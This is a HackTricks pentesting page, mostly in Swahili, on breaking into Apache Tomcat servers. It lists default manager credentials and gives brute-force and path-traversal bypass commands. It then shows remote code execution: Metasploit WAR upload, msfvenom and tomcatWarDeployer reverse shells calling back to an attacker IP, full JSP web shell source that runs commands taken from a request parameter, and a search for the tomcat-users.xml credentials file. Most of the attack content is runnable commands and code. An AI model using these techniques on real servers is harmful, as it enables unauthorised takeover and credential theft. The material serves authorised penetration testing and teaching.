hacktricks/network-services-pentesting/pentesting-web/tomcat.md

# Tomcat

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## Discovery

* Inatumika kawaida kwenye **bandari 8080**
* **Kosa la kawaida la Tomcat:**

<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>

## Enumeration

### **Version Identification**

Ili kupata toleo la Apache Tomcat, amri rahisi inaweza kutekelezwa:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Hii itatafuta neno "Tomcat" katika ukurasa wa index wa hati, ikifunua toleo katika lebo ya kichwa ya jibu la HTML.

### **Mahali pa Faili za Meneja**

Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizi ya nguvu inashauriwa ili kupata kurasa hizi.

### **Uhesabuji wa Majina ya Watumiaji**

Kwa toleo za Tomcat zilizopita ya 6, inawezekana kuhesabu majina ya watumiaji kupitia:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Default Credentials**

Direktori **`/manager/html`** ni nyeti sana kwani inaruhusu kupakia na kupeleka faili za WAR, ambazo zinaweza kusababisha utekelezaji wa msimbo. Direktori hii inalindwa na uthibitishaji wa msingi wa HTTP, ambapo akidi za kawaida ni:

* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

Akidi hizi zinaweza kupimwa kwa kutumia:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Mwelekeo mwingine muhimu ni **`/manager/status`**, ambayo inaonyesha toleo la Tomcat na OS, ikisaidia katika utambuzi wa udhaifu.

### **Shambulio la Nguvu Kiasi**

Ili kujaribu shambulio la nguvu kiasi kwenye mwelekeo wa meneja, mtu anaweza kutumia:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.

## Common Vulnerabilities

### **Password Backtrace Disclosure**

Kupata `/auth.jsp` kunaweza kufichua nenosiri katika backtrace chini ya hali nzuri.

### **Double URL Encoding**

Uthibitisho wa CVE-2007-1860 katika `mod_jk` unaruhusu upitaji wa njia wa double URL encoding, ukiruhusu ufikiaji usioidhinishwa wa kiolesura cha usimamizi kupitia URL iliyoundwa kwa njia maalum.

Ili kufikia wavuti ya usimamizi ya Tomcat nenda: `pathTomcat/%252E%252E/manager/html`

### /examples

Apache Tomcat toleo 4.x hadi 7.x linajumuisha mifano ya skripti ambazo zinaweza kuathiriwa na ufichuzi wa taarifa na mashambulizi ya cross-site scripting (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuangaliwa kwa ufikiaji usioidhinishwa na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)

* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp

### **Path Traversal Exploit**

Katika [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa directories zilizolindwa katika Tomcat ukitumia njia: `/..;/`

Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`

**Njia nyingine** ya kupita njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`

## RCE

Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili .war (tekeleza msimbo)**.

### Limitations

Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (tazama [POST ](tomcat.md#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell

1. Tengeneza war ili kupeleka:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Pakia faili ya `revshell.war` na upate ufikiaji kwake (`/revshell/`):

### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)

Katika hali zingine hii haifanyi kazi (kwa mfano toleo za zamani za sun)

#### Pakua
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Kutumia [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manual method - Web shell

Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Pata JSP web shell kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na uunde faili la WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST

Jina la faili la akreditif za Tomcat ni _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Njia nyingine za kukusanya akreditifiki za Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Zana nyingine za skanning tomcat

* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

## Marejeleo

* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)

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